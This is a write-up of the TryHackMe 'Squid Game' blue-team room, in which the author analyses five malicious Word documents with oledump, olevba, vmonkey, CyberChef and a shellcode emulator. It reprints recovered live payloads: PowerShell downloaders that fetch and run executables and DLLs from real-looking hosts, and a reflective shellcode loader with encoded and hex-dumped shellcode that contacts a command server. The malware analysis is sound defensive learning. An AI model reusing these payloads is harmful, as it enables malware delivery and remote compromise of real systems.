1

TryHackMe - Squid Game

I really enjoyed the last blue team challenge, and learned a lot while doing it. So, let's do another! It also helps that this is one of the very few series I've actually watched and enjoyed! We're playing a defensive role in this challenge, it appears to be focused around defending five separate attackers - presumably they get more difficult. Alright so, this challenge didn't really meet my expectations for the theme - but it was an incredible learning experience for me. I've never tried any analysis like this before, nor have I played with any Windows Shell code so I learned A lot. It of course took me along time too, but that's what this is all about! Dive to the bottom of those rabbit holes fiends!

Walk through - TLDR

2

Attacker 1

It turns out, we can capture all the information we need for this task from virustotal, and the bots that graciously post reports in the community tab. You can look here at my recommended report to get everything you'll need! You will have to take the payload being executed and decode it to get some answers, though. You can do it yourself with cyberchef or:

$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){
  if($m.Name -eq "DownloadString"){
    try{
     $uri = New-Object System.Uri("http://176.32.35.16/704e.php")
     IEX($m.Invoke($instance, ($uri)));
    }catch{}
  }
  if($m.Name -eq "DownloadData"){
     try{
     $uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
     $response = $m.Invoke($instance, ($uri));
     $path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
     [System.IO.File]::WriteAllBytes($path, $response);
     $clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
     $type = [Type]::GetTypeFromCLSID($clsid)
     $object = [Activator]::CreateInstance($type)
     $object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)
     }catch{}
  }
}
Exit;

Attacker 2

Printout the streams from the file, the ones with an M contain macros.

$ oledump.py attacker2.doc -i
  1:       114             '\x01CompObj'
  2:      4096             '\x05DocumentSummaryInformation'
  3:      4096             '\x05SummaryInformation'
  4:      7427             '1Table'
  5:     63641             'Data'
  6:        97             'Macros/Form/\x01CompObj'
  7:       283             'Macros/Form/\x03VBFrame'
  8:     63528             'Macros/Form/f'
  9:      2220             'Macros/Form/o'
 10:       566             'Macros/PROJECT'
 11:        92             'Macros/PROJECTwm'
 12: M    6655   4978+1677 'Macros/VBA/Form'
 13: M   15671  13867+1804 'Macros/VBA/Module1'
 14: M    1593    1396+197 'Macros/VBA/ThisDocument'
 15:     42465             'Macros/VBA/_VBA_PROJECT'
 16: M    2724    2397+327 'Macros/VBA/bxh'
 17:      1226             'Macros/VBA/dir'
 18:      4096             'WordDocument'
  • The compiled size is the first number in the addition column.
  • The largest number of bytes is simply the largest number presented in the table Next, run olevba attacker2.doc to printout readable code from the system. It's a lot of output, so here's notes on what you're looking for:
  • grep for fun, and type out the string in reverse order to get the next answer
  • The summary at the end contains the domains in order for the next two questions. remove the https://
  • the summary also shows the .dll names and how many there were For the rest of the questions we can grep strings from the file. To find the path and executable running the DLLs:
strings attacker2.dll | grep dll

To find the timeout length (Note: it's in ms, convert to seconds):

strings attacker2.dll | grep Sleep

To determine the stream name... look at the streams present in the output of oledump.py and match against the format provided on THM.

Attacker 3

Execute olevba 11 And vmonkey 12

  • The executable should be obvious to spot
  • %u% == tutil, replace appropriately to piece together the executable being used
  • the malicious URL is presented in clear-text, looks for a remote domain
  • Look where the script is being executed from
  • Check oledump and match the Stream ID against the stream containing this script

Attacker 4

First, printout the embedded VBA with olevba attacker4.doc. Once the output is complete, scroll up and look for the first execution of Hextostring. We can build a decryption method with cyberchef as follows: 13 I used vmonkey to obtain the remainder of the answers, however the program seems to employ an infinite loop here to prevent this sort of analysis so you have to watch the output and carefully extract the details you need. All the answers will printout in clear text - good luck!

Attacker 5

Have look at Josecurity's report for this file. If we search the page for caption we find our first answer. Note you have to remove the whitespace. 14 We can also easily find:

  • The CC Server
  • The Port accessed at the CC Server
  • The path with the Shellcode from CC server Our next task is to take the big powershell payload string and dive through it's many layers to figure out what the malware is trying to do. Here are the steps:
  1. Take the Base64 string from the top of the Joseucity report
  2. Paste it into cyberchef
  3. Use: FromBase64 -> Remove Null Bytes
  4. Take the base64 string inside [Convert]::FromBase64String("BASE64STRING"))
  5. Paste it into cyberchef
  6. Use: Frombase64 -> Gunzip
  7. In the output, there's another Base64 string [System.Convert]::FromBase64String('BASED64STRING')
  8. The line it's decoded is $var_code[$x] = $var_code[$x] -bxor ******
  9. The number is the xor decimal operand
  10. Take the Base64 string and paste it into cyber chef
  11. Use: FromBase64 -> XOR where the value is the Xor decimal operand from above Now you should have something that looks like this:
üè....`.å1Òd.R0.R..R..r(.·J&1ÿ1À¬<a|., ÁÏ
.ÇâðRW.R..B<.Ð.@x.ÀtJ.ÐP.H..X .Óã<I.4..Ö1ÿ1À¬ÁÏ
.Ç8àuô.}ø;}$uâX.X$.Óf..K.X..Ó....Ð.D$$[[aYZQÿàX_Z..ë.]hnet.hwiniThLw&.ÿÕ1ÿWWWWWh:Vy§ÿÕé....[1ÉQQj.QQh....SPhW..ÆÿÕëp[1ÒRh..`.RRRSRPhëU.;ÿÕ.Æ.ÃP1ÿWWjÿSVh-..{ÿÕ.À..Ã...1ÿ.öt..ùë	hªÅâ]ÿÕ.ÁhE!^1ÿÕ1ÿWj.QVPh·Wà.ÿÕ¿./..9Çt·1ÿé....éÉ...è.ÿÿÿ/SjMR.Ý./.b½¿J¿ .#8..Çá¬....³.4ëük.l½uå[d,^..Y&Y_(.|t®@.t.Ý4.ÁóY.3.;&.².°§..ÎZ..User-Agent: *********)
.BÒ¢nw§clÅÜ´|ÄÔÊ).LÀÓ.!Xùõ..Ö..Ü..&nÃq.®1.7,
Ñm.|Í|Z	Û¹.=²Õ.çu¸Õ7î3.·.ÑÝòJÐC'6¯.;üû3.í..ŪÏß .XÏ.¿ã¤5ÅåÈ·..ÜcS.íI..iDwºFÈ.m]]"ÇcÁT..¹óf'E¤Ý.Ò	¯.Z~ÜýK²@.>t.p£Õ..ÉÛo.ËÛ=cM¥À.ÙT.]Ö²òÐ9N¢ì¦ÒÛ÷ÂKµ.
4¬¢&´.h_.. CG.hðµ¢VÿÕj@h....h..@.WhX¤SåÿÕ.¹.....ÙQS.çWh. ..SVh...âÿÕ.ÀtÆ...Ã.ÀuåXÃè©ýÿÿ17*******9.....

There are two answers within this text:

  • the CC server
  • The User-Agent This is Win32 Shell code, we're going to need to reverse engineer this a little to get our final answers.
  1. Download this raw output from cyberchef into a local file
  2. Download scdbg from here
  3. Open the GUI tool
  4. Drag your shellcode into the file input
  5. Click launch and watch it step through the shellcode 22 The answers are all here ;)

Write Up

Attacker 1

This is a warm up apparently - I have no idea what I'm about to face so i fear not having much knowledge in the area and this taking me longer than expected. Oh well, we have to 'push attacker 1 outside the lines' When we boot up the machine, there is a folder called maldocs containing a .doc file for each attacker. 2 Right away, this isn't something I'm intimately familiar with... however I have a feeling that just opening this doc file isn't going to get me anywhere, especially on a linux system. So, I did some quick research and came across this guide. I decided to just try running the macros while capturing packets! I started tcpdump as root:

tcpdump -i eth0 -s 65535 -w attacker1.pcap

Then ran vmonkey to attempt to run any macros from the file:

vmonkey attacker1.doc

This seemed to execute through to completion, though it appears there were some errors/warnings: 3 Whatever it was executing is clearly obfuscated, I looked at the packet capture and by looking at the conversations menu it seems like nothing was attempted. The output from vmonkey is decently helpful, it's at least clear that the macros are trying to run VBA commands. Let's try to extract the VBA payload itself and deobfuscate it if we can to get an idea of what it's trying to do.

$ pcode2code attacker1.doc
pywin32 is not installed (only is required if you want to use MS Excel)
stream : Macros/VBA/ThisDocument - 9852 bytes
########################################
Sub AutoOpen()
  On Error Resume Next
  DBvbDlfxWGXm = WifblkBfDS + CBool(2243) + Len(ChrW(5 + 9) + ChrW(3)) + LenB(Trim("QHSiqJpWNfHbmnlvPbbP")) + Len(lZlRjJlQKnBntw)
  lQbWzTrJtfhGiaS = pWNDRZbLZdGgl + CBool(5015) + Len(ChrW(1 + 1) + ChrW(2)) + LenB(Trim("XkBMzwHsSZswNPQMBDL")) + Len(SxZnBTiJkRBD)
  
  tcZwqHFss = zTQlVkgJtJHVH + CBool(6903) + Len(ChrW(6 + 4) + ChrW(10)) + LenB(Trim("jDxtDndtrsCpNSNkxdJzhj")) + Len(RRdTnGKKsvm)
  
  ...
  
  wdTqKxXzraCs = mkaDKJfCfVRm + CBool(8379) + Len(ChrW(1 + 10) + ChrW(5)) + LenB(Trim("klTWfaFrtslwGtgadMj")) + Len(GvivfXcsHC)
End Sub

Again I'm not overly familiar with this format, however it seems like setting a bunch of values won't accomplish much - So the only portion of this that really catches my eye is:

  VBA.Shell# "CmD /C " + Trim(rjvFRbqzLtkzn) + SKKdjMpgJRQRK + Trim(Replace(pNHbvwXpnbZvS.AlternativeText + "", "[", "A")) + hdNxDVBxCTqQTpB + RJzJQGRzrc + CWflqnrJbKVBj, CInt(351 * 2 + -702)
  • VBA.Shell of course executes something on the system.
  • CmD /C is going to execute the following string as a command So, what's the string? From vmonkey it looks like it's just 0 but that's obviously not correct. I must be missing the approach here entirely. Let's back up a little... Let's look at what streams are within the file:
$ oledump.py attacker1.doc -i
  1:       114             '\x01CompObj'
  2:      4096             '\x05DocumentSummaryInformation'
  3:      4096             '\x05SummaryInformation'
  4:     13859             '1Table'
  5:     33430             'Data'
  6:       365             'Macros/PROJECT'
  7:        41             'Macros/PROJECTwm'
  8: M    9852   5869+3983 'Macros/VBA/ThisDocument'
  9:      5460             'Macros/VBA/_VBA_PROJECT'
 10:       513             'Macros/VBA/dir'
 11:       306             'MsoDataStore/ÇYÕXGNÎÕÃUKWÛÎIS2BKÍÐÐ==/Item'
 12:       341             'MsoDataStore/ÇYÕXGNÎÕÃUKWÛÎIS2BKÍÐÐ==/Properties'
 13:      4096             'WordDocument'

Then I stepped through each stream and attempted to printout the contents, but only #8 provided output and that's the one we've already looked at. Taking a step back, let's try getting a higher-level picture to see if there's something I'm missing before I continue trying to deobfuscate this VBA code... 4 Listening to the suggestion for the VBA code, I try using olevba: 5 And then tried to use it's de-obfuscation function: 6 No avail though... I think at this point I want to try a few of those online analysis tools - So i took the time to get these files onto my own system. I uploaded the file to Virustotal: 7 Well, that was much easier! I'd like to know how to abstract this information myself but perhaps I need a windows environment to test from (Maybe I'll do this in the future). 8 The community tab contains some further analysis bot results which are very useful. It contains a process tree which provides the actual built argument that obfuscated VBA was constructing. It looks like Base64 to me! 9 Decoding the base64 results in the following:

$.i.n.s.t.a.n.c.e. .=. .[.S.y.s.t.e.m...A.c.t.i.v.a.t.o.r.].:.:.C.r.e.a.t.e.I.n.s.t.a.n.c.e.(.".S.y.s.t.e.m...N.e.t...W.e.b.C.l.i.e.n.t.".).;.
.
.....

To make it easier, I quickly removed the .'s:

$instance = [System.Activator]::CreateInstance("System.Net.WebClient");
$method = [System.Net.WebClient].GetMethods();
foreach($m in $method){
  if($m.Name -eq "DownloadString"){
    try{
     $uri = New-Object System.Uri("http://176.32.35.16/704e.php")
     IEX($m.Invoke($instance, ($uri)));
    }catch{}
  }
  if($m.Name -eq "DownloadData"){
     try{
     $uri = New-Object System.Uri("http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas")
     $response = $m.Invoke($instance, ($uri));
     $path = [System.Environment]::GetFolderPath("CommonApplicationData") + "\\QdZGP.exe";
     [System.IO.File]::WriteAllBytes($path, $response);
     $clsid = New-Object Guid 'C08AFD90-F2A1-11D1-8455-00A0C91F3880'
     $type = [Type]::GetTypeFromCLSID($clsid)
     $object = [Activator]::CreateInstance($type)
     $object.Document.Application.ShellExecute($path,$nul, $nul, $nul,0)
     }catch{}
  }
}
Exit;

Finally it's very clear what's going on! So we can start answering questions:

  • The C2 URI is the $uri variable http://fpetraardella.band/xap_102b-AZ1/704e.php?l=litten4.gas
  • It's trying to download QdZGP.exe
  • To the path $path=[System.Environment]::GetFolderPath("CommonApplicationData") == %ProgramData% Now the COM object I'm a little confused about, the only thing that I thought it could be referencing was that GUID C08AFD90-F2A1-11D1-8455-00A0C91F3880. I searched around learning what the code was trying to do, and wound up actually searching the ID and discovered this page. It's trying to muck about with a ShellBrowserWindow! The remainder of questions can be answered by looking at virustotal and community tab data.

Attacker 2

Alright I learned a lot with Attacker one so I have a feeling this is going to be easy now! Let's see! I've learned to first run oleid on the file: 10 Alright so again we have some VBA macros present. Let's print the streams:

$ oledump.py attacker2.doc -i
  1:       114             '\x01CompObj'
  2:      4096             '\x05DocumentSummaryInformation'
  3:      4096             '\x05SummaryInformation'
  4:      7427             '1Table'
  5:     63641             'Data'
  6:        97             'Macros/Form/\x01CompObj'
  7:       283             'Macros/Form/\x03VBFrame'
  8:     63528             'Macros/Form/f'
  9:      2220             'Macros/Form/o'
 10:       566             'Macros/PROJECT'
 11:        92             'Macros/PROJECTwm'
 12: M    6655   4978+1677 'Macros/VBA/Form'
 13: M   15671  13867+1804 'Macros/VBA/Module1'
 14: M    1593    1396+197 'Macros/VBA/ThisDocument'
 15:     42465             'Macros/VBA/_VBA_PROJECT'
 16: M    2724    2397+327 'Macros/VBA/bxh'
 17:      1226             'Macros/VBA/dir'
 18:      4096             'WordDocument'

We can see that streams 12, 13, 14 and 16 contain macros. The compiled size is 13867. The largest number is 63641 from the Data stream of the document. The next questions start to probe about details of the VBA scripts, so let's quickly try pulling the code out. Running olevba on the document gives us enough information to answer the next few questions. The output is large so I'll omit it from here. In the output of oldvba there is the line:

fun = Shell(StrReverse("sbv.nip\ataDmargorP\:C exe.tpircsc k/ dmc"), Chr(48))

Which of course is trying to execute cmd /k cscript.exe C:\ProgramData\pin.vbs. The summary at the end provides a few domains being contacted by the malware - they appear in the chart in the same order they appear in the file. My one complaint about this room so far is the required format of the answers is a little ambigious - the author could have accepted multiple answeres for some of these to have us spending less time mucking about with formatting answers 'correctly'. Anyhew - the answers don't have https:// included, and aren't just the domain it's also the full request path. We can see the dll names in this summary as well, and can easily count that there are five of them. To figure out where the dll is being dropped, we can simply print strings from the file and grep:

$ strings attacker2.doc | grep www1.dll
LL1 = "$Nano='JOOEX'.replace('JOO','I');sal OY $Nano;$aa='(New-Ob'; $qq='ject Ne'; $ww='t.WebCli'; $ee='ent).Downl'; $rr='oadFile'; $bb='(''https://priyacareers.com/u9hDQN9Yy7g/pt.html'',''C:\ProgramData\www1.dll'')';$FOOX =($aa,$qq,$ww,$ee,$rr,$bb,$cc -Join ''); OY $FOOX|OY;"
OK1 = "cmd /c rundll32.exe C:\ProgramData\www1.dll,ldr"

This also provides us the program that's executing the dll's. We can use the same trick to find out how long the program is waiting, the only timeout type function I found being used was Sleep

strings attacker2.doc | grep Sleep
WScript.Sleep(15000)

To get the next few answers we have to look more closely at the VBA code. Using oledump.py <doc> -s <stream> -v to dump the code from each stream...

  • Stream 12 seems to contain some form data processing code, nohting of interest
  • Stream 13 seems to handle something with MP3 files
  • Stream 14 just contains metadata and an entrypoint, interesting but not useful
  • Stream 16 is executing something nasty for sure I honestly though couldn't figure out how to tell which stream was being used to deliver the .ddl files, but it was easy enough to guess based on the format...

Attacker 3

Looking at the questions here, and with some wishful thinking, I decide to just run strings on the file and see if I can get them all really quickly... however it looks like it won't be that easy - there's some level of obfuscation. Alright from the top I ran oleid to confirm that we should again be looking at VBA macros. Then I ran olevba 11 We can easily identify the executable being downloaded, but it seems the remainder of the payload is hidden away in in that shellcode-like string. I decided to try vmonkey to let it emulate what's going on: 12 This quickly gets us the rest of the answers! Some of them require some formatting trickery though. If you need help checkout the walkthrough at the top.

Attacker 4

I slapped this one right into virus total, and there's a josecurity bot post for it which had great depth last time I saw one.

  • https://www.joesandbox.com/analysis/522190/0/html This doesn't contain code dumps though - so I still need to checkout the VBA scripts:
olevba attacker4.doc
...

This was quite difficult to make sense of though, so I decided to try vmonkey. It took a very long time to execute, it appears it was hitting an error and sticking in an infinte loop. Probably to circumvent analysis of this sort? However while watching it execute I was able to discover two executables being dropped, the path the first was written to and the URL the second was downloaded from. Note: The format for the path is once again annoying for this room, it's just the folder name not the path to it. Now I've got all the answers except the decoded string... Turning my attention back to the vba script I suppose I have to figure out how to actually decode some of this stuff manually. The first use of Hextostring in the script is here:

Set VPBCRFOQENN = CreateObject(XORI(Hextostring("3F34193F254049193F253A331522"), Hextostring("7267417269"))

Alright so... this was a bit of guess-work honestly but dropping the first thing into Cyberchef I knew I first had to decode the Hex string. Then I know I had to preform an XOR between the first and second arguments. When you drop XOR into cybershef it allows you to set a key. I set the key as the second argument and got a valid output! 13

Attacker 5

It seeems the first question is informative so I uploaded the file to virustotal and checked out Josecurity's listing first. If we search the page for caption we find our answer. Note you have to remove the whitespace. 14 We can also easily find:

  • The CC Server
  • The Port accessed at the CC Server
  • The path with the Shellcode from CC server The next question asks for details about the encoded script, which you can find immediately on the above page. Decoding it with cyberchef I used:
  • From Base64 with Defaults
  • Remove Null Bytes with defaults This produced:
$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("BASE64STRING"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();
0>|ç`úì
»..x.=üôP;.M.ð DÛq

Once again decoding the Base64 string embedded here, cyberchef detected the payload as a gzip file... So, doing the following get's us some more source code:

  • FromBase64
  • gunzip
Set-StrictMode -Version 2
$DoIt = @'
function func_get_proc_address {
	Param ($var_module, $var_procedure)		
	$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)
	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
	return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSByckuzPCMjcHNLdKq85dz2yFN4EvFxSyMhQ6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVquJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMcElucSP+sQy3QZ6caZyDPAAbKKHkwo8rpqq6kCYXyN9IP0+eVsZ4Rw99v716BXp8CyVfV41jsFco/hc/4tB6shBcGAUikQ2ThLag7XmzI3ZQRlEOYkRGTVcZA25MWUpPT0IMFw0TAwtATE5TQldKQU9GGANucGpmAxsNExgDdEpNR0xUUANtdwMWDRIYA3dRSkdGTVcMFw0TGAMNbWZ3A2BvcQMRDRMNFhMUERQKLikjYfGBTVSEQE/m/5df5/fpCjFv4/AmAnva1i+w9bmm/76gBU3gUrWNEqwUDynyTlxf7l95KviaPh6R9jbEVpv2FM0QMpSm8v7RafNgBBWMPhjf2BCxziGm5ons/AMwe+yqnMCHFubG65SrMf9AcD7Oaji2SmdUmWXrN05+fgHkQOJ3tzya0EUEZof+sfEqjL55Xf/eaJFjXB1XOVOA9qQo6vhMrOj4HkBuhuOw+ncvfvWR0fMabYHPhfH41OFoliMuF4+BBZc1S3wwN4NgZCNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcEhQVDRITEA0WFQ0bGiMjIyMi')
for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))
$var_runme.Invoke([IntPtr]::Zero)
'@
If ([IntPtr]::size -eq 8) {
	start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job
}
else {
	IEX $DoIt
}

We can see the value being used to XOR the script:

$var_code[$x] = $var_code[$x] -bxor 35

Now, we should be able to use this information to get ANOTHER level of decryption done:

  • FromBase64
  • XOR w/ Decimal value 35 this produces:
üè....`.å1Òd.R0.R..R..r(.·J&1ÿ1À¬<a|., ÁÏ
.ÇâðRW.R..B<.Ð.@x.ÀtJ.ÐP.H..X .Óã<I.4..Ö1ÿ1À¬ÁÏ
.K.X..Ó....Ð.D$$[[aYZQÿàX_Z..ë.]hnet.hwiniThLw&.ÿÕ1ÿWWWWWh:Vy§ÿÕé....[1ÉQQj.QQh....SPhW..ÆÿÕëp[1ÒRh..`.RRRSRPhëU.;ÿÕ.Æ.ÃP1ÿWWjÿSVh-..{ÿÕ.À..Ã...1ÿ.öt..ùë	hªÅâ]ÿÕ.ÁhE!^1ÿÕ1ÿWj.QVPh·Wà.ÿÕ¿./..9Çt·1ÿé....éÉ...è.ÿÿÿ/SjMR.Ý./.b½¿J¿ .#8..Çá¬....³.4ëük.l½uå[d,^..Y&Y_(.|t®@.t.Ý4.ÁóY.3.;&.².°§..ÎZ..User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)
.BÒ¢nw§clÅÜ´|ÄÔÊ).LÀÓ.!Xùõ..Ö..Ü..&nÃq.®1.7,
Ñm.|Í|Z	Û¹.=²Õ.çu¸Õ7î3.·.ÑÝòJÐC'6¯.;üû3.í..ŪÏß .XÏ.¿ã¤5ÅåÈ·..ÜcS.íI..iDwºFÈ.m]]"ÇcÁT..¹óf'E¤Ý.Ò	¯.Z~ÜýK²@.>t.p£Õ..ÉÛo.ËÛ=cM¥À.ÙT.]Ö²òÐ9N¢ì¦ÒÛ÷ÂKµ.
4¬¢&´.h_.. CG.hðµ¢VÿÕj@h....h..@.WhX¤SåÿÕ.¹.....ÙQS.çWh. ..SVh...âÿÕ.ÀtÆ...Ã.ÀuåXÃè©ýÿÿ176.103.56.89.....

The final Boss

Okay clearly this last question is really difficult, I spent a lot of time here. I removed all my rambeling, because it wound up going nowhere. I finally decided I had to reverse engineer the shell code to try to determine what's going on. I know (or I think I know) that this is windows shellcode. First, to be able to dump this into standard tools I'll need the Hex values which I got from Cybershef:

fc e8 89 00 00 00 60 89 e5 31 d2 64 8b 52 30 8b 52 0c 8b 52 14 8b 72 28 0f b7 4a 26 31 ff 31 c0 ac 3c 61 7c 02 2c 20 c1 cf 0d 01 c7 e2 f0 52 57 8b 52 10 8b 42 3c 01 d0 8b 40 78 85 c0 74 4a 01 d0 50 8b 48 18 8b 58 20 01 d3 e3 3c 49 8b 34 8b 01 d6 31 ff 31 c0 ac c1 cf 0d 01 c7 38 e0 75 f4 03 7d f8 3b 7d 24 75 e2 58 8b 58 24 01 d3 66 8b 0c 4b 8b 58 1c 01 d3 8b 04 8b 01 d0 89 44 24 24 5b 5b 61 59 5a 51 ff e0 58 5f 5a 8b 12 eb 86 5d 68 6e 65 74 00 68 77 69 6e 69 54 68 4c 77 26 07 ff d5 31 ff 57 57 57 57 57 68 3a 56 79 a7 ff d5 e9 84 00 00 00 5b 31 c9 51 51 6a 03 51 51 68 90 1f 00 00 53 50 68 57 89 9f c6 ff d5 eb 70 5b 31 d2 52 68 00 02 60 84 52 52 52 53 52 50 68 eb 55 2e 3b ff d5 89 c6 83 c3 50 31 ff 57 57 6a ff 53 56 68 2d 06 18 7b ff d5 85 c0 0f 84 c3 01 00 00 31 ff 85 f6 74 04 89 f9 eb 09 68 aa c5 e2 5d ff d5 89 c1 68 45 21 5e 31 ff d5 31 ff 57 6a 07 51 56 50 68 b7 57 e0 0b ff d5 bf 00 2f 00 00 39 c7 74 b7 31 ff e9 91 01 00 00 e9 c9 01 00 00 e8 8b ff ff ff 2f 53 6a 4d 52 00 dd 92 2f 94 62 bd bf 4a bf a0 1f 23 38 0b 82 c7 e1 ac 08 85 89 99 b3 05 34 eb fc 6b 1c 6c bd 75 e5 5b 64 2c 5e 9c 9e 59 26 59 5f 28 06 7c 74 ae 40 93 74 0b dd 34 1c c1 f3 59 91 33 7f 3b 26 01 b2 2e b0 a7 95 83 ce 5a 90 00 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 34 2e 30 20 28 63 6f 6d 70 61 74 69 62 6c 65 3b 20 4d 53 49 45 20 38 2e 30 3b 20 57 69 6e 64 6f 77 73 20 4e 54 20 35 2e 31 3b 20 54 72 69 64 65 6e 74 2f 34 2e 30 3b 20 2e 4e 45 54 20 43 4c 52 20 32 2e 30 2e 35 30 37 32 37 29 0d 0a 00 42 d2 a2 6e 77 a7 63 6c c5 dc b4 7c c4 d4 ca 29 12 4c c0 d3 05 21 58 f9 f5 0c 93 d6 9a 85 dc 9d 83 26 6e c3 71 96 ae 31 8f 37 2c 0a d1 6d 7f 7c cd 7c 5a 09 db b9 1d 3d b2 d5 15 e7 75 b8 d5 37 ee 33 11 b7 85 d1 dd f2 4a d0 43 27 36 af 1d 3b fc fb 33 92 ed 02 85 c5 aa cf df 20 13 58 cf 89 bf e3 a4 35 c5 e5 c8 b7 88 12 dc 63 53 1d ed 49 1b 95 69 44 77 ba 46 c8 14 6d 5d 5d 22 c7 63 c1 54 94 1f b9 f3 66 27 45 a4 dd 92 d2 09 af 9d 5a 7e dc fd 4b b2 40 7f 3e 74 1a 70 a3 d5 87 0b c9 db 6f 8f cb db 3d 63 4d a5 c0 93 d9 54 0c 5d d6 b2 f2 d0 39 4e a2 ec a6 d2 db f7 c2 4b b5 00 0d 34 ac a2 26 b4 16 68 5f 13 14 a0 43 47 00 68 f0 b5 a2 56 ff d5 6a 40 68 00 10 00 00 68 00 00 40 00 57 68 58 a4 53 e5 ff d5 93 b9 00 00 00 00 01 d9 51 53 89 e7 57 68 00 20 00 00 53 56 68 12 96 89 e2 ff d5 85 c0 74 c6 8b 07 01 c3 85 c0 75 e5 58 c3 e8 a9 fd ff ff 31 37 36 2e 31 30 33 2e 35 36 2e 38 39 00 00 00 00 01

I mucked about on Shell storm until I got a valid looking instruction output. This is lovely, but boy do I ever not want to get into trying to manually step through what's going on here. I started slapping this into a bunch of different online tools, and nothing is giving me real simulated data I can obtain any useful information from. 17 I started looking for emulators to make this a little easier. There are some tools for windows systems but I want to evaluate this in linux of course. Even on hacktricks they only recommend scdbg which only runs on Windows... Quite annoying but I guess I'll spin up a Windows VM. Side note, the Windows 10 dev Virtual Appliance ships with VSCode installed? And the background is pretty sweet! 18 Anyway I downloaded the binaries needed from [here] and launched the included gui. I pasted the shell code into a file on my desktop and dragged into into the GUI: 19 I got an error with my random selections: 20 It seems my shellcode is messed up somewhere in how I'm decrypting it... I backed up and decided to try to pipe exactly what the malicous process was trying to do. I removed my Hex decoding step and tried running the 'raw' output: 21 Looks like Windows Defender in my VM tried to help me! This is a good sign though for what I'm trying to do. I of course, disabled the AV inside my VM. 22 And finally we got our answer! I've added a good few things to my toolbox during this challenge.